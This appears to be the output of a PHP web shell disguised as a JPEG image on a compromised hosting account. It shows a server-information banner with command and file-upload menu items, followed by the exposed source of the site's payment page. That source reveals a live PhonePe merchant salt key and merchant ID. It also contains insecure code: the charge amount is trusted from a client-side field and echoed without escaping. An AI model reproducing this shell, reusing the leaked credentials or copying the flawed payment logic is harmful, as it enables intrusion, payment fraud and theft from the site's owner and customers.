����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 18.227.21.101 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/mhmsfzcs/vflyorions.com/admin/assets/../../ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<meta charset="UTF-8"> <meta content="width=device-width, initial-scale=1.0" name="viewport"> <meta name="description" content="Effortlessly streamline your transactions with our secure Payment Page. Experience seamless payments and enhance user satisfaction. " /> <meta name="keywords" content="BPO Service in nagpur, BPO voice and non voice, BPO voice In nagpur, BPO non voice in nagpur , BPO voice company in nagpur, BPO non-voice company in nagpur, BPO voice and non voice services, BPO outsorcing, B2B call Center" /> <!-- ======== Page title ============ --> <title>Effortless Transactions: Simplifying Payments on Our Platform</title> <?php $pages = 'pay'; $page = 'indian'; include 'header.php'; include 'db.php'; $total=''; if (isset($_GET['id'])&&isset($_GET['c'])) { $total1 = $_GET['id']; $c1 = $_GET['c']; $total = base64_decode($total1); $c = base64_decode($c1); } if(isset($_POST['pay'])) { $name=$_POST['name']; $email=$_POST['email']; $contact=$_POST['contact']; $amount = $_POST['amountEnterByUsers']; //$amount=$_POST['amount']; // $message=$_POST['message']; $insert=$conn->prepare("Insert into payment(`name`,`email`,`contact`,`amount`) VALUES (?,?,?,?)"); $insert->bind_param("ssss",$name,$email,$contact,$amount); $res=$insert->execute(); $uniqueId = uniqid(rand(), true); $merchantKey = 'd32f4f9f-0d94-449e-980b-7044c551026e'; $data = array( "merchantId" => "STUDYLABONLINE", "merchantTransactionId" => $uniqueId, "merchantUserId" => "$uniqueId", "amount" => $amount*100, "redirectUrl" => "https://vflyorions.com/paymentsuccess.php", "redirectMode" => "POST", "callbackUrl" => "https:vflyorions.com/paymentsuccess.php", "mobileNumber" => "8956375912", "paymentInstrument" => array( "type" => "PAY_PAGE" ) ); // Convert the Payload to JSON and encode as Base64 $payloadMain = base64_encode(json_encode($data)); $payload = $payloadMain."/pg/v1/pay".$merchantKey; $Checksum = hash('sha256', $payload); $Checksum = $Checksum.'###1'; //X-VERIFY - SHA256(base64 encoded payload + "/pg/v1/pay" + salt key) + ### + salt index $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => "https://api.phonepe.com/apis/hermes/pg/v1/pay", //https://api-preprod.phonepe.com/apis/pg-sandbox/pg/v1/pay CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => "", CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => "POST", CURLOPT_POSTFIELDS => json_encode([ 'request' => $payloadMain ]), CURLOPT_HTTPHEADER => [ "Content-Type: application/json", "X-VERIFY: ".$Checksum, "accept: application/json" ], ]); $response = curl_exec($curl); $err = curl_error($curl); curl_close($curl); if ($err) { // echo "cURL Error #:" . $err; header('Location: paymentfailed.php?cURLError='.$err); } else { $responseData = json_decode($response, true); $url = $responseData['data']['instrumentResponse']['redirectInfo']['url']; // header('Location:'.$url); echo '<script>window.location.href = "' . $url . '";</script>'; exit; } } ?> <div class="page-banner-wrap bg-cover" style="background-image: url('assets/img/allbanner.png')"> <div class="container"> <div class="row"> <div class="col-12 col-lg-12"> <div class="page-heading text-white"> <h1> Payment</h1> </div> <div class="breadcrumb-wrap"> <nav> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="index.html">Home</a></li> <li class="breadcrumb-item active" aria-current="page"> Payment</li> </ol> </nav> </div> </div> </div> </div> </div> <div class="contact-us-wrapper section-padding"> <div class="container" style="max-width:1280px !important;"> <?php if($c=='ind'){ ?> <div class="row eq-height"> <div class="col-lg-3 col-12"></div> <div class="col-lg-6 col-12 section-title"> <div class="contact-form"> <h2 style="margin-bottom: 2px;">Indian Payment</h2> <p style="margin:20px;">Secure your success with us - Pay now for unparalleled service and satisfaction!</p> <form method="POST" class="row"> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="text" name="name" placeholder="Name" required > </div> </div> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="email" name="email" placeholder="Email" required > </div> </div> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="text" name="contact" placeholder="Phone No" required> </div> </div> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="text" name="amountEnterByUsers" placeholder="Amount" value="<?= $total; ?>" readonly> </div> </div> <center> <br> <div class="col-md-12 col-12"> <input class="submit-btn" type="submit" name="pay" value="Pay Now"> </div> </center> </form> <!--<center> <a href="payment/pay.php" class="submit-btn">Click To Pay</a></center>--> <span class="form-message"></span> </div> </div> <div class="col-lg-3 col-12"></div> </div> <?php }elseif($c=='usd'){ ?> <div class="row eq-height"> <div class="col-lg-3 col-12"></div> <div class="col-lg-6 col-12"> <div class="contact-form"> <h2 style="margin-bottom: 2px; text-transform: capitalize; font-size: 38px;">Paypal International Payment</h2> <p style="margin:20px;">Secure your success with us - Pay now for unparalleled service and satisfaction!</p> <form action='https://www.paypal.com/cgi-bin/webscr' method="POST" class="row"> <!-- PayPal business email to collect payments --> <input type='hidden' name='business' value='payment@vflyorions.com'> <!-- Details of item that customers will purchase --> <input type='hidden' name='item_number' value='SS123'> <input type='hidden' name='item_name' value='Product'> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="text" name="name" placeholder="Name" required > </div> </div> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="email" name="email" placeholder="Email" required > </div> </div> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="text" name="contact" placeholder="Phone No" required> </div> </div> <div class="col-md-6 col-12"> <div class="single-personal-info"> <input type="text" name="amount" placeholder="Amount (USD)" value="<?= $total; ?>" readonly> </div> </div> <input type='hidden' name='currency_code' value='USD'> <input type='hidden' name='no_shipping' value='1'> <!-- PayPal return, cancel & IPN URLs --> <input type='hidden' name='return' value='https://www.your-website.com/return.php'> <input type='hidden' name='cancel_return' value='https://www.your-website.com/cancel.php'> <input type='hidden' name='notify_url' value='https://www.your-website.com/notify.php'> <!-- Specify a Pay Now button. --> <input type="hidden" name="cmd" value="_xclick"> <center><br> <div class="col-md-12 col-12"> <input class="submit-btn" type="submit" value="Pay Now"> </div> </center> </form> <span class="form-message"></span> </div> </div> <div class="col-lg-3 col-12"></div> <div class="col-lg-6 col-12 section-title"> </div> <!-- <div class="col-lg-6 col-12 section-title">--> <!-- <div class="contact-form"> --> <!-- <h2 style="margin-bottom: 2px;">CCAvenue International Payment</h2> --> <!-- <p style="margin:20px;">Secure your success with us - Pay now for unparalleled service and satisfaction!</p>--> <!-- <center> <a href="payment/pay.php" class="submit-btn">Click To Pay</a></center>--> <!-- <span class="form-message"></span>--> <!-- </div>--> <!--</div>--> </div> <?php } ?> </div> </div> </div> <?php include 'footer.php'; ?>